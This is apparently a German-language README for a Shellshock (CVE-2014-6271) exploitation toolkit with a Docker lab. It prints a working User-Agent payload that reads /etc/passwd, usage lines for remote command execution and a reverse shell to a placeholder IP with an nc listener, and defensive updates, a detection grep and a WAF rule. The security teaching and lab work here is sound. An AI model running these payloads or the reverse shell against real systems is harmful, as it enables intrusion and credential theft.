Bash Apocalypse

Automatisiertes Exploitation-Toolkit für CVE-2014-6271 (Shellshock)

Ein vollständiges Sicherheitsforschungsprojekt, das die Shellshock-Schwachstelle demonstriert, die 2014 Millionen von Servern betraf. Enthält automatisiertes Scannen, Exploitation-Funktionen und defensive Empfehlungen.

Demo

Was ist Shellshock?

Shellshock (CVE-2014-6271) ist eine kritische Schwachstelle in der Bash-Shell, die Remote-Codeausführung durch Manipulation von Umgebungsvariablen ermöglicht. Sie wurde 2014 entdeckt, nachdem sie 22 Jahre lang existiert hatte, und betraf Millionen von Unix/Linux-Systemen weltweit.

So funktioniert es:

# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'

# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"'  # The second command executes

Webserver, die CGI verwenden, übergeben HTTP-Header als Umgebungsvariablen an Bash, wodurch sie angreifbar werden:

User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

Schnellstart

# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse

# Start vulnerable lab
docker-compose up -d

# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"

Funktionen

Automatisierter Scanner

Findet angreifbare CGI-Endpunkte
Testet mehrere Injektionspunkte (User-Agent, Referer, Cookie)
Unterstützung für benutzerdefinierte Wordlists

Exploitation-Tool

Befehlsausführung mit Erfassung der Ausgabe
Automatisierte Reverse Shell
Mehrere Payload-Optionen

Laborumgebung

Docker-Setup mit einem Befehl
Isolierter, angreifbarer Server
Sichere Testumgebung

Verwendung

Nach Schwachstellen scannen

./exploit.sh --scan --target localhost --port 8080

Befehle ausführen

./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"

Reverse Shell erhalten

# Terminal 1
nc -lvnp 4444

# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444

Manuelle Exploitation (Burp Suite)

Schritt 1: Anfrage abfangen

Burp Intercept

Schritt 2: Payload injizieren

Exploitation

Ändern Sie den User-Agent-Header:

User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

Schritt 3: Antwort beobachten

Reverse Shell

Der Server führt Ihren Befehl aus und gibt die Ausgabe zurück.

Technische Analyse

Angriffsablauf

Client (Attacker)
    │
    │ HTTP Request with malicious User-Agent
    ▼
Web Server
    │
    │ Passes header as environment variable
    ▼
CGI Script
    │
    │ Spawns Bash process
    ▼
Bash Shell
    │
    │ Parses function + executes trailing commands
    ▼
Command Execution (RCE)

Grundursache

Wenn Bash auf eine Funktionsdefinition in einer Umgebungsvariable stößt:

Es parst die Funktion: () { :;}
Fehler: Es parst weiter und führt alles aus, was danach kommt
Ergebnis: Beliebige Befehlsausführung

Verteidigung

Sofortige Gegenmaßnahmen

# Update Bash
sudo apt-get update && sudo apt-get upgrade bash

# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2

Erkennung

# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log

WAF-Regel

SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"

Demonstrierte Fähigkeiten

Penetrationstests von Webanwendungen
Bash-Scripting und Automatisierung
Manipulation des HTTP-Protokolls
Docker-Containerisierung
Kenntnisse in Burp Suite
Sowohl offensive als auch defensive Sicherheit

Projektstruktur

bash-apocalypse/
├── README.md
├── exploit.sh              # Main tool
├── payloads.txt            # Test payloads
├── docker-compose.yml      # Lab setup
└── screenshots/
    ├── intercept.png
    ├── Payload.png
    └── result.png

Rechtlicher Hinweis

Nur zu Bildungszwecken. Testen Sie ausschließlich Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Erlaubnis haben. Unbefugter Zugriff ist illegal.

Ressourcen

Entwickelt, um zu verstehen, wie Schwachstellen funktionieren und wie man sich gegen sie verteidigt. ;)

Beliebteste

bash-apocalypse